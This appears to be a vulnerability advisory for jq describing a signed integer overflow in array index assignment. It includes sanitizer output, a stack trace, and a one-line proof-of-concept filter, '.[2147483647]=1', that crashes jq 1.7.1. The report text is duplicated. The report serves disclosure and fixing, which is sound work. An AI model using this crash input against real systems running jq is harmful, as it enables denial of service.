Summary
Integer overflow arise when assigning value using index of 2147483647 (signed int limit)
Details
Based on the output from UndefinedBehaviorSanitizer
username@servername:~/jq$ ./jq -n '.[2147483647]=1'
src/jv.c:860:29: runtime error: signed integer overflow: 2147483647 + 1 cannot be represented in type 'int'
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior src/jv.c:860:29 in
UndefinedBehaviorSanitizer:DEADLYSIGNAL
==62169==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x55a8b93fe6b0 (pc 0x55a0b6812c3d bp 0x7ffc3a2ba080 sp 0x7ffc3a2ba020 T62169)
==62169==The signal is caused by a READ memory access.
#0 0x55a0b6812c3d in jv_array_set /home/username/jq/src/jv.c:997:3
#1 0x55a0b681f98d in jv_set /home/username/jq/src/jv_aux.c:179:11
#2 0x55a0b6820af7 in jv_setpath /home/username/jq/src/jv_aux.c:420:10
#3 0x55a0b68c9b3b in f_setpath /home/username/jq/src/builtin.c:1246:62
#4 0x55a0b68021e7 in jq_next /home/username/jq/src/execute.c:918:21
#5 0x55a0b67f8635 in process /home/username/jq/src/main.c:200:31
#6 0x55a0b67f7394 in main /home/username/jq/src/main.c:739:15
#7 0x7f1fa456f082 in __libc_start_main /build/glibc-wuryBv/glibc-2.31/csu/../csu/libc-start.c:308:16
#8 0x55a0b67c9b3d in _start (/home/username/jq/jq+0x19fb3d) (BuildId: 9c61602c0237130159435beec2e60c79ea15af68)
UndefinedBehaviorSanitizer can not provide additional info.
SUMMARY: UndefinedBehaviorSanitizer: SEGV /home/username/jq/src/jv.c:997:3 in jv_array_set
==62169==ABORTINGUsing release 1.7.1:
username@servername:~$ wget https://github.com/jqlang/jq/releases/download/jq-1.7.1/jq-linux-amd64
username@servername:~$ chmod +x jq-linux-amd64
username@servername:~$ ./jq-linux-amd64 .[2147483647]=1 ~/jq/example.json
Segmentation fault (core dumped)
PoC
This can be exercised with jq -n '.[2147483647]=1', or with a JSON text containing an array with 2147483647 elements such as [0,0,..,0].
Expected behavior (2147483647-1):
username@servername:~$ ./jq-linux-amd64 -n `.[2147483646]=1`
jq: error: cannot allocate memory
Aborted (core dumped)
Actual behaviour
username@servername:~$ ./jq-linux-amd64 .[2147483647]=1 ~/jq/example.json
Segmentation fault (core dumped)
Impact
DoS
euro-phd Reporter
Summary
Integer overflow arise when assigning value using index of 2147483647 (signed int limit)
Details
Based on the output from
UndefinedBehaviorSanitizerUsing release 1.7.1:
PoC
This can be exercised with
jq -n '.[2147483647]=1', or with a JSON text containing an array with2147483647elements such as[0,0,..,0].Expected behavior (2147483647-1):
Actual behaviour
Impact
DoS